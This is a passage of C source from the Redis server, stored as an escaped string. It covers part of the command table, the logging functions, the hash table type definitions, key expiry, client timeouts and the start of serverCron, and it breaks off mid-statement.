{\"srem\",sremCommand,-3,\"w\",0,NULL,1,1,1,0,0},\n    {\"smove\",smoveCommand,4,\"w\",0,NULL,1,2,1,0,0},\n    {\"sismember\",sismemberCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"scard\",scardCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"spop\",spopCommand,2,\"wRs\",0,NULL,1,1,1,0,0},\n    {\"srandmember\",srandmemberCommand,2,\"rR\",0,NULL,1,1,1,0,0},\n    {\"sinter\",sinterCommand,-2,\"rS\",0,NULL,1,-1,1,0,0},\n    {\"sinterstore\",sinterstoreCommand,-3,\"wm\",0,NULL,1,-1,1,0,0},\n    {\"sunion\",sunionCommand,-2,\"rS\",0,NULL,1,-1,1,0,0},\n    {\"sunionstore\",sunionstoreCommand,-3,\"wm\",0,NULL,1,-1,1,0,0},\n    {\"sdiff\",sdiffCommand,-2,\"rS\",0,NULL,1,-1,1,0,0},\n    {\"sdiffstore\",sdiffstoreCommand,-3,\"wm\",0,NULL,1,-1,1,0,0},\n    {\"smembers\",sinterCommand,2,\"rS\",0,NULL,1,1,1,0,0},\n    {\"zadd\",zaddCommand,-4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"zincrby\",zincrbyCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"zrem\",zremCommand,-3,\"w\",0,NULL,1,1,1,0,0},\n    {\"zremrangebyscore\",zremrangebyscoreCommand,4,\"w\",0,NULL,1,1,1,0,0},\n    {\"zremrangebyrank\",zremrangebyrankCommand,4,\"w\",0,NULL,1,1,1,0,0},\n    {\"zunionstore\",zunionstoreCommand,-4,\"wm\",0,zunionInterGetKeys,0,0,0,0,0},\n    {\"zinterstore\",zinterstoreCommand,-4,\"wm\",0,zunionInterGetKeys,0,0,0,0,0},\n    {\"zrange\",zrangeCommand,-4,\"r\",0,NULL,1,1,1,0,0},\n    {\"zrangebyscore\",zrangebyscoreCommand,-4,\"r\",0,NULL,1,1,1,0,0},\n    {\"zrevrangebyscore\",zrevrangebyscoreCommand,-4,\"r\",0,NULL,1,1,1,0,0},\n    {\"zcount\",zcountCommand,4,\"r\",0,NULL,1,1,1,0,0},\n    {\"zrevrange\",zrevrangeCommand,-4,\"r\",0,NULL,1,1,1,0,0},\n    {\"zcard\",zcardCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"zscore\",zscoreCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"zrank\",zrankCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"zrevrank\",zrevrankCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"hset\",hsetCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"hsetnx\",hsetnxCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"hget\",hgetCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"hmset\",hmsetCommand,-4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"hmget\",hmgetCommand,-3,\"r\",0,NULL,1,1,1,0,0},\n    {\"hincrby\",hincrbyCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"hincrbyfloat\",hincrbyfloatCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"hdel\",hdelCommand,-3,\"w\",0,NULL,1,1,1,0,0},\n    {\"hlen\",hlenCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"hkeys\",hkeysCommand,2,\"rS\",0,NULL,1,1,1,0,0},\n    {\"hvals\",hvalsCommand,2,\"rS\",0,NULL,1,1,1,0,0},\n    {\"hgetall\",hgetallCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"hexists\",hexistsCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"incrby\",incrbyCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"decrby\",decrbyCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"incrbyfloat\",incrbyfloatCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"getset\",getsetCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"mset\",msetCommand,-3,\"wm\",0,NULL,1,-1,2,0,0},\n    {\"msetnx\",msetnxCommand,-3,\"wm\",0,NULL,1,-1,2,0,0},\n    {\"randomkey\",randomkeyCommand,1,\"rR\",0,NULL,0,0,0,0,0},\n    {\"select\",selectCommand,2,\"r\",0,NULL,0,0,0,0,0},\n    {\"move\",moveCommand,3,\"w\",0,NULL,1,1,1,0,0},\n    {\"rename\",renameCommand,3,\"w\",0,renameGetKeys,1,2,1,0,0},\n    {\"renamenx\",renamenxCommand,3,\"w\",0,renameGetKeys,1,2,1,0,0},\n    {\"expire\",expireCommand,3,\"w\",0,NULL,1,1,1,0,0},\n    {\"expireat\",expireatCommand,3,\"w\",0,NULL,1,1,1,0,0},\n    {\"pexpire\",pexpireCommand,3,\"w\",0,NULL,1,1,1,0,0},\n    {\"pexpireat\",pexpireatCommand,3,\"w\",0,NULL,1,1,1,0,0},\n    {\"keys\",keysCommand,2,\"rS\",0,NULL,0,0,0,0,0},\n    {\"dbsize\",dbsizeCommand,1,\"r\",0,NULL,0,0,0,0,0},\n    {\"auth\",authCommand,2,\"rs\",0,NULL,0,0,0,0,0},\n    {\"ping\",pingCommand,1,\"r\",0,NULL,0,0,0,0,0},\n    {\"echo\",echoCommand,2,\"r\",0,NULL,0,0,0,0,0},\n    {\"save\",saveCommand,1,\"ars\",0,NULL,0,0,0,0,0},\n    {\"bgsave\",bgsaveCommand,1,\"ar\",0,NULL,0,0,0,0,0},\n    {\"bgrewriteaof\",bgrewriteaofCommand,1,\"ar\",0,NULL,0,0,0,0,0},\n    {\"shutdown\",shutdownCommand,-1,\"ar\",0,NULL,0,0,0,0,0},\n    {\"lastsave\",lastsaveCommand,1,\"r\",0,NULL,0,0,0,0,0},\n    {\"type\",typeCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"multi\",multiCommand,1,\"rs\",0,NULL,0,0,0,0,0},\n    {\"exec\",execCommand,1,\"s\",0,NULL,0,0,0,0,0},\n    {\"discard\",discardCommand,1,\"rs\",0,NULL,0,0,0,0,0},\n    {\"sync\",syncCommand,1,\"ars\",0,NULL,0,0,0,0,0},\n    {\"flushdb\",flushdbCommand,1,\"w\",0,NULL,0,0,0,0,0},\n    {\"flushall\",flushallCommand,1,\"w\",0,NULL,0,0,0,0,0},\n    {\"sort\",sortCommand,-2,\"wmS\",0,NULL,1,1,1,0,0},\n    {\"info\",infoCommand,-1,\"r\",0,NULL,0,0,0,0,0},\n    {\"monitor\",monitorCommand,1,\"ars\",0,NULL,0,0,0,0,0},\n    {\"ttl\",ttlCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"pttl\",pttlCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"persist\",persistCommand,2,\"w\",0,NULL,1,1,1,0,0},\n    {\"slaveof\",slaveofCommand,3,\"as\",0,NULL,0,0,0,0,0},\n    {\"debug\",debugCommand,-2,\"as\",0,NULL,0,0,0,0,0},\n    {\"config\",configCommand,-2,\"ar\",0,NULL,0,0,0,0,0},\n    {\"subscribe\",subscribeCommand,-2,\"rps\",0,NULL,0,0,0,0,0},\n    {\"unsubscribe\",unsubscribeCommand,-1,\"rps\",0,NULL,0,0,0,0,0},\n    {\"psubscribe\",psubscribeCommand,-2,\"rps\",0,NULL,0,0,0,0,0},\n    {\"punsubscribe\",punsubscribeCommand,-1,\"rps\",0,NULL,0,0,0,0,0},\n    {\"publish\",publishCommand,3,\"pf\",0,NULL,0,0,0,0,0},\n    {\"watch\",watchCommand,-2,\"rs\",0,noPreloadGetKeys,1,-1,1,0,0},\n    {\"unwatch\",unwatchCommand,1,\"rs\",0,NULL,0,0,0,0,0},\n    {\"cluster\",clusterCommand,-2,\"ar\",0,NULL,0,0,0,0,0},\n    {\"restore\",restoreCommand,4,\"awm\",0,NULL,1,1,1,0,0},\n    {\"migrate\",migrateCommand,6,\"aw\",0,NULL,0,0,0,0,0},\n    {\"asking\",askingCommand,1,\"r\",0,NULL,0,0,0,0,0},\n    {\"dump\",dumpCommand,2,\"ar\",0,NULL,1,1,1,0,0},\n    {\"object\",objectCommand,-2,\"r\",0,NULL,2,2,2,0,0},\n    {\"client\",clientCommand,-2,\"ar\",0,NULL,0,0,0,0,0},\n    {\"eval\",evalCommand,-3,\"s\",0,zunionInterGetKeys,0,0,0,0,0},\n    {\"evalsha\",evalShaCommand,-3,\"s\",0,zunionInterGetKeys,0,0,0,0,0},\n    {\"slowlog\",slowlogCommand,-2,\"r\",0,NULL,0,0,0,0,0},\n    {\"script\",scriptCommand,-2,\"ras\",0,NULL,0,0,0,0,0},\n    {\"time\",timeCommand,1,\"rR\",0,NULL,0,0,0,0,0},\n    {\"bitop\",bitopCommand,-4,\"wm\",0,NULL,2,-1,1,0,0},\n    {\"bitcount\",bitcountCommand,-2,\"r\",0,NULL,1,1,1,0,0}\n};\n\n/*============================ Utility functions ============================ */\n\n/* Low level logging. To use only for very big messages, otherwise\n * redisLog() is to prefer. */\nvoid redisLogRaw(int level, const char *msg) {\n    const int syslogLevelMap[] = { LOG_DEBUG, LOG_INFO, LOG_NOTICE, LOG_WARNING };\n    const char *c = \".-*#\";\n    FILE *fp;\n    char buf[64];\n    int rawmode = (level & REDIS_LOG_RAW);\n\n    level &= 0xff; /* clear flags */\n    if (level < server.verbosity) return;\n\n    fp = (server.logfile == NULL) ? stdout : fopen(server.logfile,\"a\");\n    if (!fp) return;\n\n    if (rawmode) {\n        fprintf(fp,\"%s\",msg);\n    } else {\n        int off;\n        struct timeval tv;\n\n        gettimeofday(&tv,NULL);\n        off = strftime(buf,sizeof(buf),\"%d %b %H:%M:%S.\",localtime(&tv.tv_sec));\n        snprintf(buf+off,sizeof(buf)-off,\"%03d\",(int)tv.tv_usec/1000);\n        fprintf(fp,\"[%d] %s %c %s\\n\",(int)getpid(),buf,c[level],msg);\n    }\n    fflush(fp);\n\n    if (server.logfile) fclose(fp);\n\n    if (server.syslog_enabled) syslog(syslogLevelMap[level], \"%s\", msg);\n}\n\n/* Like redisLogRaw() but with printf-alike support. This is the funciton that\n * is used across the code. The raw version is only used in order to dump\n * the INFO output on crash. */\nvoid redisLog(int level, const char *fmt, ...) {\n    va_list ap;\n    char msg[REDIS_MAX_LOGMSG_LEN];\n\n    if ((level&0xff) < server.verbosity) return;\n\n    va_start(ap, fmt);\n    vsnprintf(msg, sizeof(msg), fmt, ap);\n    va_end(ap);\n\n    redisLogRaw(level,msg);\n}\n\n/* Log a fixed message without printf-alike capabilities, in a way that is\n * safe to call from a signal handler.\n *\n * We actually use this only for signals that are not fatal from the point\n * of view of Redis. Signals that are going to kill the server anyway and\n * where we need printf-alike features are served by redisLog(). */\nvoid redisLogFromHandler(int level, const char *msg) {\n    int fd;\n    char buf[64];\n\n    if ((level&0xff) < server.verbosity ||\n        (server.logfile == NULL && server.daemonize)) return;\n    fd = server.logfile ?\n        open(server.logfile, O_APPEND|O_CREAT|O_WRONLY, 0644) :\n        STDOUT_FILENO;\n    if (fd == -1) return;\n    ll2string(buf,sizeof(buf),getpid());\n    if (write(fd,\"[\",1) == -1) goto err;\n    if (write(fd,buf,strlen(buf)) == -1) goto err;\n    if (write(fd,\" | signal handler] (\",20) == -1) goto err;\n    ll2string(buf,sizeof(buf),time(NULL));\n    if (write(fd,buf,strlen(buf)) == -1) goto err;\n    if (write(fd,\") \",2) == -1) goto err;\n    if (write(fd,msg,strlen(msg)) == -1) goto err;\n    if (write(fd,\"\\n\",1) == -1) goto err;\nerr:\n    if (server.logfile) close(fd);\n}\n\n/* Redis generally does not try to recover from out of memory conditions\n * when allocating objects or strings, it is not clear if it will be possible\n * to report this condition to the client since the networking layer itself\n * is based on heap allocation for send buffers, so we simply abort.\n * At least the code will be simpler to read... */\nvoid oom(const char *msg) {\n    redisLog(REDIS_WARNING, \"%s: Out of memory\\n\",msg);\n    sleep(1);\n    abort();\n}\n\n/* Return the UNIX time in microseconds */\nlong long ustime(void) {\n    struct timeval tv;\n    long long ust;\n\n    gettimeofday(&tv, NULL);\n    ust = ((long long)tv.tv_sec)*1000000;\n    ust += tv.tv_usec;\n    return ust;\n}\n\n/* Return the UNIX time in milliseconds */\nlong long mstime(void) {\n    return ustime()/1000;\n}\n\n/* After an RDB dump or AOF rewrite we exit from children using _exit() instead of\n * exit(), because the latter may interact with the same file objects used by\n * the parent process. However if we are testing the coverage normal exit() is\n * used in order to obtain the right coverage information. */\nvoid exitFromChild(int retcode) {\n#ifdef COVERAGE_TEST\n    exit(retcode);\n#else\n    _exit(retcode);\n#endif\n}\n\n/*====================== Hash table type implementation  ==================== */\n\n/* This is an hash table type that uses the SDS dynamic strings libary as\n * keys and radis objects as values (objects can hold SDS strings,\n * lists, sets). */\n\nvoid dictVanillaFree(void *privdata, void *val)\n{\n    DICT_NOTUSED(privdata);\n    zfree(val);\n}\n\nvoid dictListDestructor(void *privdata, void *val)\n{\n    DICT_NOTUSED(privdata);\n    listRelease((list*)val);\n}\n\nint dictSdsKeyCompare(void *privdata, const void *key1,\n        const void *key2)\n{\n    int l1,l2;\n    DICT_NOTUSED(privdata);\n\n    l1 = sdslen((sds)key1);\n    l2 = sdslen((sds)key2);\n    if (l1 != l2) return 0;\n    return memcmp(key1, key2, l1) == 0;\n}\n\n/* A case insensitive version used for the command lookup table. */\nint dictSdsKeyCaseCompare(void *privdata, const void *key1,\n        const void *key2)\n{\n    DICT_NOTUSED(privdata);\n\n    return strcasecmp(key1, key2) == 0;\n}\n\nvoid dictRedisObjectDestructor(void *privdata, void *val)\n{\n    DICT_NOTUSED(privdata);\n\n    if (val == NULL) return; /* Values of swapped out keys as set to NULL */\n    decrRefCount(val);\n}\n\nvoid dictSdsDestructor(void *privdata, void *val)\n{\n    DICT_NOTUSED(privdata);\n\n    sdsfree(val);\n}\n\nint dictObjKeyCompare(void *privdata, const void *key1,\n        const void *key2)\n{\n    const robj *o1 = key1, *o2 = key2;\n    return dictSdsKeyCompare(privdata,o1->ptr,o2->ptr);\n}\n\nunsigned int dictObjHash(const void *key) {\n    const robj *o = key;\n    return dictGenHashFunction(o->ptr, sdslen((sds)o->ptr));\n}\n\nunsigned int dictSdsHash(const void *key) {\n    return dictGenHashFunction((unsigned char*)key, sdslen((char*)key));\n}\n\nunsigned int dictSdsCaseHash(const void *key) {\n    return dictGenCaseHashFunction((unsigned char*)key, sdslen((char*)key));\n}\n\nint dictEncObjKeyCompare(void *privdata, const void *key1,\n        const void *key2)\n{\n    robj *o1 = (robj*) key1, *o2 = (robj*) key2;\n    int cmp;\n\n    if (o1->encoding == REDIS_ENCODING_INT &&\n        o2->encoding == REDIS_ENCODING_INT)\n            return o1->ptr == o2->ptr;\n\n    o1 = getDecodedObject(o1);\n    o2 = getDecodedObject(o2);\n    cmp = dictSdsKeyCompare(privdata,o1->ptr,o2->ptr);\n    decrRefCount(o1);\n    decrRefCount(o2);\n    return cmp;\n}\n\nunsigned int dictEncObjHash(const void *key) {\n    robj *o = (robj*) key;\n\n    if (o->encoding == REDIS_ENCODING_RAW) {\n        return dictGenHashFunction(o->ptr, sdslen((sds)o->ptr));\n    } else {\n        if (o->encoding == REDIS_ENCODING_INT) {\n            char buf[32];\n            int len;\n\n            len = ll2string(buf,32,(long)o->ptr);\n            return dictGenHashFunction((unsigned char*)buf, len);\n        } else {\n            unsigned int hash;\n\n            o = getDecodedObject(o);\n            hash = dictGenHashFunction(o->ptr, sdslen((sds)o->ptr));\n            decrRefCount(o);\n            return hash;\n        }\n    }\n}\n\n/* Sets type hash table */\ndictType setDictType = {\n    dictEncObjHash,            /* hash function */\n    NULL,                      /* key dup */\n    NULL,                      /* val dup */\n    dictEncObjKeyCompare,      /* key compare */\n    dictRedisObjectDestructor, /* key destructor */\n    NULL                       /* val destructor */\n};\n\n/* Sorted sets hash (note: a skiplist is used in addition to the hash table) */\ndictType zsetDictType = {\n    dictEncObjHash,            /* hash function */\n    NULL,                      /* key dup */\n    NULL,                      /* val dup */\n    dictEncObjKeyCompare,      /* key compare */\n    dictRedisObjectDestructor, /* key destructor */\n    NULL                       /* val destructor */\n};\n\n/* Db->dict, keys are sds strings, vals are Redis objects. */\ndictType dbDictType = {\n    dictSdsHash,                /* hash function */\n    NULL,                       /* key dup */\n    NULL,                       /* val dup */\n    dictSdsKeyCompare,          /* key compare */\n    dictSdsDestructor,          /* key destructor */\n    dictRedisObjectDestructor   /* val destructor */\n};\n\n/* Db->expires */\ndictType keyptrDictType = {\n    dictSdsHash,               /* hash function */\n    NULL,                      /* key dup */\n    NULL,                      /* val dup */\n    dictSdsKeyCompare,         /* key compare */\n    NULL,                      /* key destructor */\n    NULL                       /* val destructor */\n};\n\n/* Command table. sds string -> command struct pointer. */\ndictType commandTableDictType = {\n    dictSdsCaseHash,           /* hash function */\n    NULL,                      /* key dup */\n    NULL,                      /* val dup */\n    dictSdsKeyCaseCompare,     /* key compare */\n    dictSdsDestructor,         /* key destructor */\n    NULL                       /* val destructor */\n};\n\n/* Hash type hash table (note that small hashes are represented with zimpaps) */\ndictType hashDictType = {\n    dictEncObjHash,             /* hash function */\n    NULL,                       /* key dup */\n    NULL,                       /* val dup */\n    dictEncObjKeyCompare,       /* key compare */\n    dictRedisObjectDestructor,  /* key destructor */\n    dictRedisObjectDestructor   /* val destructor */\n};\n\n/* Keylist hash table type has unencoded redis objects as keys and\n * lists as values. It's used for blocking operations (BLPOP) and to\n * map swapped keys to a list of clients waiting for this keys to be loaded. */\ndictType keylistDictType = {\n    dictObjHash,                /* hash function */\n    NULL,                       /* key dup */\n    NULL,                       /* val dup */\n    dictObjKeyCompare,          /* key compare */\n    dictRedisObjectDestructor,  /* key destructor */\n    dictListDestructor          /* val destructor */\n};\n\n/* Cluster nodes hash table, mapping nodes addresses 1.2.3.4:6379 to\n * clusterNode structures. */\ndictType clusterNodesDictType = {\n    dictSdsHash,                /* hash function */\n    NULL,                       /* key dup */\n    NULL,                       /* val dup */\n    dictSdsKeyCompare,          /* key compare */\n    dictSdsDestructor,          /* key destructor */\n    NULL                        /* val destructor */\n};\n\nint htNeedsResize(dict *dict) {\n    long long size, used;\n\n    size = dictSlots(dict);\n    used = dictSize(dict);\n    return (size && used && size > DICT_HT_INITIAL_SIZE &&\n            (used*100/size < REDIS_HT_MINFILL));\n}\n\n/* If the percentage of used slots in the HT reaches REDIS_HT_MINFILL\n * we resize the hash table to save memory */\nvoid tryResizeHashTables(void) {\n    int j;\n\n    for (j = 0; j < server.dbnum; j++) {\n        if (htNeedsResize(server.db[j].dict))\n            dictResize(server.db[j].dict);\n        if (htNeedsResize(server.db[j].expires))\n            dictResize(server.db[j].expires);\n    }\n}\n\n/* Our hash table implementation performs rehashing incrementally while\n * we write/read from the hash table. Still if the server is idle, the hash\n * table will use two tables for a long time. So we try to use 1 millisecond\n * of CPU time at every serverCron() loop in order to rehash some key. */\nvoid incrementallyRehash(void) {\n    int j;\n\n    for (j = 0; j < server.dbnum; j++) {\n        /* Keys dictionary */\n        if (dictIsRehashing(server.db[j].dict)) {\n            dictRehashMilliseconds(server.db[j].dict,1);\n            break; /* already used our millisecond for this loop... */\n        }\n        /* Expires */\n        if (dictIsRehashing(server.db[j].expires)) {\n            dictRehashMilliseconds(server.db[j].expires,1);\n            break; /* already used our millisecond for this loop... */\n        }\n    }\n}\n\n/* This function is called once a background process of some kind terminates,\n * as we want to avoid resizing the hash tables when there is a child in order\n * to play well with copy-on-write (otherwise when a resize happens lots of\n * memory pages are copied). The goal of this function is to update the ability\n * for dict.c to resize the hash tables accordingly to the fact we have o not\n * running childs. */\nvoid updateDictResizePolicy(void) {\n    if (server.rdb_child_pid == -1 && server.aof_child_pid == -1)\n        dictEnableResize();\n    else\n        dictDisableResize();\n}\n\n/* ======================= Cron: called every 100 ms ======================== */\n\n/* Try to expire a few timed out keys. The algorithm used is adaptive and\n * will use few CPU cycles if there are few expiring keys, otherwise\n * it will get more aggressive to avoid that too much memory is used by\n * keys that can be removed from the keyspace. */\nvoid activeExpireCycle(void) {\n    int j, iteration = 0;\n    long long start = ustime(), timelimit;\n\n    /* We can use at max REDIS_EXPIRELOOKUPS_TIME_PERC percentage of CPU time\n     * per iteration. Since this function gets called with a frequency of\n     * REDIS_HZ times per second, the following is the max amount of\n     * microseconds we can spend in this function. */\n    timelimit = 1000000*REDIS_EXPIRELOOKUPS_TIME_PERC/REDIS_HZ/100;\n    if (timelimit <= 0) timelimit = 1;\n\n    for (j = 0; j < server.dbnum; j++) {\n        int expired;\n        redisDb *db = server.db+j;\n\n        /* Continue to expire if at the end of the cycle more than 25%\n         * of the keys were expired. */\n        do {\n            unsigned long num = dictSize(db->expires);\n            unsigned long slots = dictSlots(db->expires);\n            long long now = mstime();\n\n            /* When there are less than 1% filled slots getting random\n             * keys is expensive, so stop here waiting for better times...\n             * The dictionary will be resized asap. */\n            if (num && slots > DICT_HT_INITIAL_SIZE &&\n                (num*100/slots < 1)) break;\n\n            /* The main collection cycle. Sample random keys among keys\n             * with an expire set, checking for expired ones. */\n            expired = 0;\n            if (num > REDIS_EXPIRELOOKUPS_PER_CRON)\n                num = REDIS_EXPIRELOOKUPS_PER_CRON;\n            while (num--) {\n                dictEntry *de;\n                long long t;\n\n                if ((de = dictGetRandomKey(db->expires)) == NULL) break;\n                t = dictGetSignedIntegerVal(de);\n                if (now > t) {\n                    sds key = dictGetKey(de);\n                    robj *keyobj = createStringObject(key,sdslen(key));\n\n                    propagateExpire(db,keyobj);\n                    dbDelete(db,keyobj);\n                    decrRefCount(keyobj);\n                    expired++;\n                    server.stat_expiredkeys++;\n                }\n            }\n            /* We can't block forever here even if there are many keys to\n             * expire. So after a given amount of milliseconds return to the\n             * caller waiting for the other active expire cycle. */\n            iteration++;\n            if ((iteration & 0xf) == 0 && /* check once every 16 cycles. */\n                (ustime()-start) > timelimit) return;\n        } while (expired > REDIS_EXPIRELOOKUPS_PER_CRON/4);\n    }\n}\n\nvoid updateLRUClock(void) {\n    server.lruclock = (server.unixtime/REDIS_LRU_CLOCK_RESOLUTION) &\n                                                REDIS_LRU_CLOCK_MAX;\n}\n\n\n/* Add a sample to the operations per second array of samples. */\nvoid trackOperationsPerSecond(void) {\n    long long t = mstime() - server.ops_sec_last_sample_time;\n    long long ops = server.stat_numcommands - server.ops_sec_last_sample_ops;\n    long long ops_sec;\n\n    ops_sec = t > 0 ? (ops*1000/t) : 0;\n\n    server.ops_sec_samples[server.ops_sec_idx] = ops_sec;\n    server.ops_sec_idx = (server.ops_sec_idx+1) % REDIS_OPS_SEC_SAMPLES;\n    server.ops_sec_last_sample_time = mstime();\n    server.ops_sec_last_sample_ops = server.stat_numcommands;\n}\n\n/* Return the mean of all the samples. */\nlong long getOperationsPerSecond(void) {\n    int j;\n    long long sum = 0;\n\n    for (j = 0; j < REDIS_OPS_SEC_SAMPLES; j++)\n        sum += server.ops_sec_samples[j];\n    return sum / REDIS_OPS_SEC_SAMPLES;\n}\n\n/* Check for timeouts. Returns non-zero if the client was terminated */\nint clientsCronHandleTimeout(redisClient *c) {\n    time_t now = server.unixtime;\n\n    if (server.maxidletime &&\n        !(c->flags & REDIS_SLAVE) &&    /* no timeout for slaves */\n        !(c->flags & REDIS_MASTER) &&   /* no timeout for masters */\n        !(c->flags & REDIS_BLOCKED) &&  /* no timeout for BLPOP */\n        dictSize(c->pubsub_channels) == 0 && /* no timeout for pubsub */\n        listLength(c->pubsub_patterns) == 0 &&\n        (now - c->lastinteraction > server.maxidletime))\n    {\n        redisLog(REDIS_VERBOSE,\"Closing idle client\");\n        freeClient(c);\n        return 1;\n    } else if (c->flags & REDIS_BLOCKED) {\n        if (c->bpop.timeout != 0 && c->bpop.timeout < now) {\n            addReply(c,shared.nullmultibulk);\n            unblockClientWaitingData(c);\n        }\n    }\n    return 0;\n}\n\n/* The client query buffer is an sds.c string that can end with a lot of\n * free space not used, this function reclaims space if needed.\n *\n * The funciton always returns 0 as it never terminates the client. */\nint clientsCronResizeQueryBuffer(redisClient *c) {\n    size_t querybuf_size = sdsAllocSize(c->querybuf);\n    time_t idletime = server.unixtime - c->lastinteraction;\n\n    /* There are two conditions to resize the query buffer:\n     * 1) Query buffer is > BIG_ARG and too big for latest peak.\n     * 2) Client is inactive and the buffer is bigger than 1k. */\n    if (((querybuf_size > REDIS_MBULK_BIG_ARG) &&\n         (querybuf_size/(c->querybuf_peak+1)) > 2) ||\n         (querybuf_size > 1024 && idletime > 2))\n    {\n        /* Only resize the query buffer if it is actually wasting space. */\n        if (sdsavail(c->querybuf) > 1024) {\n            c->querybuf = sdsRemoveFreeSpace(c->querybuf);\n        }\n    }\n    /* Reset the peak again to capture the peak memory usage in the next\n     * cycle. */\n    c->querybuf_peak = 0;\n    return 0;\n}\n\nvoid clientsCron(void) {\n    /* Make sure to process at least 1/(REDIS_HZ*10) of clients per call.\n     * Since this function is called REDIS_HZ times per second we are sure that\n     * in the worst case we process all the clients in 10 seconds.\n     * In normal conditions (a reasonable number of clients) we process\n     * all the clients in a shorter time. */\n    int numclients = listLength(server.clients);\n    int iterations = numclients/(REDIS_HZ*10);\n\n    if (iterations < 50)\n        iterations = (numclients < 50) ? numclients : 50;\n    while(listLength(server.clients) && iterations--) {\n        redisClient *c;\n        listNode *head;\n\n        /* Rotate the list, take the current head, process.\n         * This way if the client must be removed from the list it's the\n         * first element and we don't incur into O(N) computation. */\n        listRotate(server.clients);\n        head = listFirst(server.clients);\n        c = listNodeValue(head);\n        /* The following functions do different service checks on the client.\n         * The protocol is that they return non-zero if the client was\n         * terminated. */\n        if (clientsCronHandleTimeout(c)) continue;\n        if (clientsCronResizeQueryBuffer(c)) continue;\n    }\n}\n\n/* This is our timer interrupt, called REDIS_HZ times per second.\n * Here is where we do a number of things that need to be done asynchronously.\n * For instance:\n *\n * - Active expired keys collection (it is also performed in a lazy way on\n *   lookup).\n * - Software watchdong.\n * - Update some statistic.\n * - Incremental rehashing of the DBs hash tables.\n * - Triggering BGSAVE / AOF rewrite, and handling of terminated children.\n * - Clients timeout of differnet kinds.\n * - Replication reconnection.\n * - Many more...\n *\n * Everything directly called here will be called REDIS_HZ times per second,\n * so in order to throttle execution of things we want to do less frequently\n * a macro is used: run_with_period(milliseconds) { .... }\n */\n\n/* Using the following macro you can run code inside serverCron() with the\n * specified period, specified in milliseconds.\n * The actual resolution depends on REDIS_HZ. */\n#define run_with_period(_ms_) if (!(loops % ((_ms_)/(1000/REDIS_HZ))))\n\nint serverCron(struct aeEventLoop *eventLoop, long long id, void *clientData) {\n    int j, loops = server.cronloops;\n    REDIS_NOTUSED(eventLoop);\n    REDIS_NOTUSED(id);\n    REDIS_NOTUSED(clientData);\n\n    /* Software watchdog: deliver the SIGALRM that will reach the signal\n     * handler if we don't return here fast enough. */\n    if (server.watchdog_period) watchdogScheduleSignal(server.watchdog_period);\n\n    /* We take a cached value of the unix time in the global state because\n     * with virtual memory and aging there is to store the current time\n     * in objects at every object access, and accuracy is not needed.\n     * To access a global var is faster than calling time(NULL) */\n    server.unixtime = time(NULL);\n\n    run_with_period(100) trackOperationsPerSecond();\n\n    /* We have just 22 bits per object for LRU information.\n     * So we use an (eventually wrapping) LRU clock with 10 seconds resolution.\n     * 2^22 bits with 10 seconds resoluton is more or less 1.5 years.\n     *\n     * Note that even if this will wrap after 1.5 years it's not a problem,\n     * everything will still work but just some object will appear younger\n     * to Redis. But for this to happen a given object should never be touched\n     * for 1.5 years.\n     *\n     * Note that you can change the resolution altering the\n     * REDIS_LRU_CLOCK_RESOLUTION define.\n     */\n    updateLRUClock();\n\n    /* Record the max memory used since the server was started. */\n    if (zmalloc_used_memory() > server.stat_peak_memory)\n        server.stat_peak_memory = zmalloc_used_memory();\n\n    /* We received a SIGTERM, shutting down here in a safe way, as it is\n     * not ok doing so inside the signal handler. */\n    if (server.shutdown_asap) {\n        if (prepareForShutdown(0) == REDIS_OK) exit(0);\n        redisLog(REDIS_WARNING,\"SIGTERM received but errors trying to shut down the server, check the logs for more information\");\n    }\n\n    /* Show some info about non-empty databases */\n    run_with_period(5000) {\n        for (j = 0; j < server.dbnum; j++) {\n            long long size, used, vkeys;\n\n            size = dictSlots(server.db[j].dict);\n            used = dictSize(server.db[j].dict);\n            vkeys = dictSize(server.db[j].expires);\n            if (used || vkeys) {\n                redisLog(REDIS_VERBOSE,\"DB %d: %lld keys (%lld volatile) in %lld slots HT.\",j,used,vkeys,size);\n                /* dictPrintStats(server.dict); */\n            }\n        }\n    }\n\n    /* We don't want to resize the hash tables while a bacground saving\n     * is in progress: the saving child is created using fork() that is\n     * implemented with a copy-on-write semantic in most modern systems, so\n     * if we resize the HT while there is the saving child at work actually\n     * a lot of memory movements in the parent will cause a lot of pages\n     * copied. */\n    if (server.rdb_child_pid == -1 && server.aof_child_pid == -1) {\n        tryResizeHashTables();\n        if (server.activerehashing) incrementallyRehash();\n    }\n\n    /* Show information about connected clients */\n    run_with_period(5000) {\n        redisLog(REDIS_VERBOSE,\"%d clients connected (%d slaves), %zu bytes in use\",\n            listLength(server.clients)-listLength(server.slaves),\n            listLength(server.slaves),\n            zmalloc_used_memory());\n    }\n\n    /* We need to do a few operations on clients asynchronously. */\n    clientsCron();\n\n    /* Start a scheduled AOF rewrite if this was requested by the user while\n     * a BGSAVE was in progress. */\n    if (server.rdb_child_pid == -1 && server.aof_child_pid == -1 &&\n        server.aof_rewrite_scheduled)\n    {\n        rewriteAppendOnlyFileBackground();\n    }\n\n    /* Check if a background saving or AOF rewrite in progress terminated. */\n    if (server.rdb_child_pid != -1 || server.aof_child_pid != -1) {\n        int statloc;\n        pid_t pid;\n\n        if ((pid = 